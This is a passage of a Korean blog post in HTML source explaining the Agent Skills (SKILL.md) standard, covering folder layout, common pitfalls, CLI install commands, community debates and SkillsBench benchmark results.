&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 12px 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;팀 스킬 폴더 구조 예시&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0 0 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;my-project/
├── src/
├── .agents/
│   └── skills/
│       ├── code-review/    &amp;larr; 팀 코드 리뷰 기준
│       │   └── SKILL.md
│       ├── commit-style/   &amp;larr; 커밋 메시지 컨벤션
│       │   └── SKILL.md
│       └── test-guide/     &amp;larr; 테스트 작성 가이드
│           └── SKILL.md
└── README.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- 시나리오 C --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 C &amp;mdash; Frontend Design 스킬 활성화 후 실제로 달라지는 점&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;랜딩 페이지 만들어줘&quot;라고 요청했을 때, Frontend Design 스킬이 있는 경우와 없는 경우의 차이를 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;스킬 없을 때 (AI 기본값)&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;Frontend Design 스킬 있을 때&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Inter 또는 Roboto 폰트 자동 선택&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;b&gt;Inter&amp;middot;Roboto 금지&lt;/b&gt;, 요청한 디자인 방향에 맞는 폰트 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;흰 배경 + 파란색 그라디언트 버튼&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;b&gt;그라디언트 금지&lt;/b&gt;, brutalist&amp;middot;editorial 등 방향에 맞는 색 체계 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;카드 UI + 그림자 과다 사용&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;카드 남용 억제, 선택한 디자인 방향의 레이아웃 패턴 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모든 UI가 비슷해 보임 (&quot;AI가 만든 티&quot;)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;의도적으로 구분되는 디자인 방향 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고&lt;/b&gt;: 위 Before/After는 Frontend Design 스킬 SKILL.md에 명시된 규칙을 기반으로 정리한 것이다. 실제 결과는 모델 버전과 프롬프트에 따라 다를 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 주의사항 --&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 주의사항 &amp;mdash; 흔한 함정 4가지&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;display: flex; flex-direction: column; gap: 15px; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; font-weight: 600; margin: 20px 0 12px;&quot; data-ke-size=&quot;size20&quot;&gt;함정 1 &amp;mdash; SKILL.md 본문이 너무 크면 토큰을 낭비한다&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Tier 2에서 SKILL.md 전체가 로딩된다. 본문이 10,000 토큰이 넘으면 스킬이 활성화될 때마다 그만큼의 컨텍스트가 소비된다. &lt;b&gt;5,000 토큰 미만&lt;/b&gt;을 권장 상한으로 유지하고, 긴 참고 자료는 &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;references/&lt;/code&gt; 폴더로 분리해서 Tier 3 온디맨드 로딩을 활용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; font-weight: 600; margin: 20px 0 12px;&quot; data-ke-size=&quot;size20&quot;&gt;함정 2 &amp;mdash; 플랫폼별 경로가 달라 &quot;왜 안 되지?&quot; 하는 경우&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.claude/skills/&lt;/code&gt;, Cursor는 &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.cursor/skills/&lt;/code&gt;를 각각 본다. 스킬을 &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.agents/skills/&lt;/code&gt;에 두고 각 에이전트 경로에 심볼릭 링크를 거는 방식, 또는 &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;npx skills add&lt;/code&gt;을 쓰면 이 문제를 피할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; font-weight: 600; margin: 20px 0 12px;&quot; data-ke-size=&quot;size20&quot;&gt;함정 3 &amp;mdash; description이 모호하면 스킬이 엉뚱한 타이밍에 활성화된다&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트는 Tier 1에서 description 텍스트만 보고 스킬 활성화 여부를 결정한다. &quot;코드를 개선할 때 사용&quot;처럼 범위가 넓은 description은 관련 없는 요청에도 스킬이 켜지거나, 반대로 꼭 필요한 순간에 켜지지 않는 경우가 생긴다. &lt;b&gt;구체적인 트리거 조건&lt;/b&gt;을 명시하는 것이 중요하다. (&quot;git commit 메시지 작성 요청 시 활성화&quot; vs &quot;코드 작업 시 활성화&quot;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; font-weight: 600; margin: 20px 0 12px;&quot; data-ke-size=&quot;size20&quot;&gt;함정 4 &amp;mdash; name 필드에 언더스코어나 대문자를 쓰면 표준 위반&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;name&lt;/code&gt; 필드는 소문자 영문자&amp;middot;숫자&amp;middot;하이픈(-)만 허용한다. &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;commit_helper&lt;/code&gt;(언더스코어), &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;CommitHelper&lt;/code&gt;(대문자)는 표준 위반이다. &lt;code style=&quot;background-color: rgba(0,0,0,0.1); padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;commit-helper&lt;/code&gt;처럼 하이픈을 사용한다. 표준을 엄격하게 지키는 에이전트에서는 로딩 자체를 거부할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 update: 최신 동향 --&gt;
&lt;h2 id=&quot;section-update&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2026년 3월 커뮤니티 최신 동향&lt;/b&gt;&lt;/h2&gt;
&lt;!-- 이번 주 신규 PR --&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 160px;&quot;&gt;스킬명&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;supabase-skill&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;Supabase MCP 연동 및 데이터베이스 작업 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;session-wrap-up&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;세션 종료 시 작업 내용 자동 요약 및 다음 액션 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;eileen&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;능동적 요구사항 도출 &amp;mdash; 모호한 지시를 받으면 먼저 질문해서 정확한 요구사항을 끌어내는 스킬&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;agent-notify&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;작업 완료/실패 시 Slack, Discord, 이메일 등 크로스 플랫폼 알림 발송&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;skill-security-scanner&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;SKILL.md 파일의 보안 취약점 및 과도한 권한 설정 자동 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;context7-cache&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;Context7 MCP 조회 결과를 캐싱해 반복 토큰 비용 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- npx skills v1.1.1 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;npx skills v1.1.1 &amp;mdash; find &amp;middot; update 신기능 추가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[최근]&lt;/b&gt; Vercel이 2026년 2월 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://vercel.com/changelog/skills-v1-1-1-interactive-discovery-open-source-release-and-agent-support&quot;&gt;skills v1.1.1&lt;/a&gt;을 릴리스하며 두 가지 유용한 명령어를 추가했다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.infoq.com/news/2026/02/vercel-agent-skills/&quot;&gt;InfoQ, 2026-02&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;# 대화형 스킬 탐색 (v1.1.1 신기능) &amp;mdash; 검색어로 스킬 목록 브라우징
npx skills find

# 설치된 모든 스킬 일괄 업데이트 (v1.1.1 신기능)
npx skills update

# 기존 명령어 &amp;mdash; GitHub 저장소에서 바로 설치
npx skills add vercel-labs/agent-skills&lt;/code&gt;&lt;/pre&gt;
&lt;!-- skill-creator 업데이트 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;skill-creator &amp;mdash; 스킬 자체 평가&amp;middot;벤치마크 기능 추가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[최근]&lt;/b&gt; Anthropic이 2026년 3월 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 14px;&quot;&gt;skill-creator&lt;/code&gt; 스킬을 업데이트하며 &lt;b&gt;스킬이 제대로 작동하는지 자동으로 테스트하고 개선하는 eval(평가) 기능&lt;/b&gt;을 추가했다. 스킬 정의 &amp;rarr; 초안 생성 &amp;rarr; 자동 벤치마크 &amp;rarr; 문제 발견 시 자동 수정 사이클이 가능해진 것이다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.adwaitx.com/claude-agent-skills-skill-creator-evals/&quot;&gt;adwaitx.com&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설치:&lt;/b&gt; &lt;code style=&quot;background-color: rgba(0,0,0,0.08); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code', Consolas, monospace;&quot;&gt;npx skills add anthropics/skills --skill skill-creator&lt;/code&gt;&lt;br /&gt;&quot;스킬을 만들었는데 제대로 작동하는지 모르겠다&quot;는 문제를 해결하는 도구다. 만든 스킬을 바로 eval로 검증할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 커뮤니티 논쟁: AGENTS.md vs SKILL.md --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 핵심 논쟁 &amp;mdash; AGENTS.md vs SKILL.md&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-direction: column; gap: 12px; margin: 15px 0 20px 0;&quot;&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 18px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쟁점 1 &amp;mdash; 스킬 자동 활성화 신뢰성 문제&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티 사용자 &lt;code&gt;SOLAR_FIELDS&lt;/code&gt;: &lt;i&gt;&quot;에이전트가 적절한 시점에 스킬을 자동으로 활성화하지 않는 경우가 많다 &amp;mdash; 조용한 실패(silent failure) 문제&quot;&lt;/i&gt;. 이는 현재 가장 많이 보고되는 불만 사항이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 18px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쟁점 2 &amp;mdash; AGENTS.md 방식과의 성능 차이&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Vercel 팀이 AGENTS.md 방식(압축 문서 인덱스)이 일부 평가에서 SKILL.md보다 높은 성공률(79% &amp;rarr; 100%)을 보였다고 보고. 반론으로 &lt;code&gt;OJFord&lt;/code&gt;: &lt;i&gt;&quot;AGENTS.md는 판단 없이 항상 컨텍스트에 존재하고, SKILL.md는 언제 호출할지 판단&amp;middot;비동기 로딩 등이 추가로 필요하다 &amp;mdash; 설계 철학이 다를 뿐&quot;&lt;/i&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 실용 팁: 표현 방식 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실용 팁 &amp;mdash; description 표현 방식과 인스트럭션 한도&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[최근]&lt;/b&gt; HN 사용자 &lt;code&gt;postalcoder&lt;/code&gt;가 실무 테스트에서 발견한 중요한 팁이다. description 작성 방식이 스킬 활성화율에 직접 영향을 미친다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;명령형 표현 (낮은 활성화율)&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;선언형 표현 (높은 활성화율)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; color: #721c24;&quot;&gt;&lt;code&gt;You must follow these commit rules when...&lt;/code&gt; (3번 중 0번 활성화)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;code&gt;I will follow these commit rules when...&lt;/code&gt; (3번 중 3번 활성화)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 14px 18px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AgentLinter 분석 결과 &amp;mdash; 150개 인스트럭션 한도&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티에서 공유된 AgentLinter 도구가 500개 이상의 프로덕션 워크스페이스를 분석한 결과, &lt;b&gt;인스트럭션(스킬 포함)이 150개를 넘으면 에이전트 성능이 약 40% 저하&lt;/b&gt;되는 경향이 관찰됐다고 보고됐다. 스킬은 작은 단위로 분리해서 필요한 것만 설치하는 방식을 권장한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://smartscope.blog/en/blog/agent-skills-guide/&quot;&gt;SmartScope 가이드&lt;/a&gt; / 커뮤니티 보고 기반으로, 독립 검증 필요)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- SkillsBench 논문 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;SkillsBench 논문 &amp;mdash; AI 자체 생성 스킬 vs 큐레이션 스킬&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[최근]&lt;/b&gt; 2026년 2월 arXiv에 공개된 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2602.12670&quot;&gt;SkillsBench 논문 (arXiv:2602.12670)&lt;/a&gt;이 HN에서 큰 논쟁을 일으켰다. 86개 태스크, 11개 도메인에 걸쳐 스킬 효과를 측정한 결과다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-direction: column; gap: 10px; margin: 15px 0 20px 0;&quot;&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 12px 18px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;큐레이션 스킬(사람이 만든 스킬)&lt;/b&gt;: 기준 대비 평균 &lt;b&gt;+16.2%p&lt;/b&gt; 성능 향상. 특히 헬스케어&amp;middot;금융 등 LLM이 약한 도메인에서 효과 극대화 (+51.9%p).&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 12px 18px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AI 자체 생성 스킬&lt;/b&gt;: 평균적으로 효과 없음. 인터넷에 유통되는 일반 사용자 생성 스킬 평균 품질 점수는 12점 만점에 6.2점.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 18px; border-radius: 0 8px 8px 0; margin: 0 0 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실용적 시사점&lt;/b&gt;: AI에게 &quot;SKILL.md 만들어줘&quot;라고 하는 것보다, 실제 작업을 여러 번 완료한 뒤 그 경험을 토대로 스킬을 정제하는 방식이 훨씬 효과적이다. 스킬의 퀄리티는 &lt;b&gt;생성 방식이 아닌 검증 반복 횟수&lt;/b&gt;에 달려 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 결론 --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Agent Skill(SKILL.md) 표준은 특정 회사의 독점 기술이 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 씨앗을 심었고, Vercel이 CLI를 만들었으며, 커뮤니티가 스킬을 만들어 가는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;크로스플랫폼 오픈 표준&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ssq6S/dJMcaaLvwxh/EBjnLSQBUxUBB6GKCIdbR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ssq6S/dJMcaaLvwxh/EBjnLSQBUxUBB6GKCIdbR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ssq6S/dJMcaaLvwxh/EBjnLSQBUxUBB6GKCIdbR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSsq6S%2FdJMcaaLvwxh%2FEBjnLSQBUxUBB6GKCIdbR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1094&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘 배운 핵심 정리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 7px;&quot;&gt;&lt;b&gt;Agent Skill은 Claude 전용이 아니다&lt;/b&gt; &amp;mdash; Anthropic이 2025-12 오픈 표준으로 공개, 32개+ 플랫폼 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 7px;&quot;&gt;&lt;b&gt;SKILL.md = YAML frontmatter + Markdown 본문&lt;/b&gt; &amp;mdash; name(필수, 64자), description(필수, 1024자) 두 필드면 최소 스킬 완성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 7px;&quot;&gt;&lt;b&gt;Progressive Disclosure 3단계&lt;/b&gt; &amp;mdash; Tier 1(name+desc 로딩), Tier 2(전체 본문), Tier 3(scripts/references/assets)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 7px;&quot;&gt;&lt;b&gt;크로스플랫폼 표준 경로는 &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.agents/skills/&lt;/code&gt;&lt;/b&gt; &amp;mdash; 여기에 저장하고 각 에이전트 경로로 심볼릭 링크, 또는 &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;npx skills add&lt;/code&gt;이 자동 처리&lt;/li&gt;
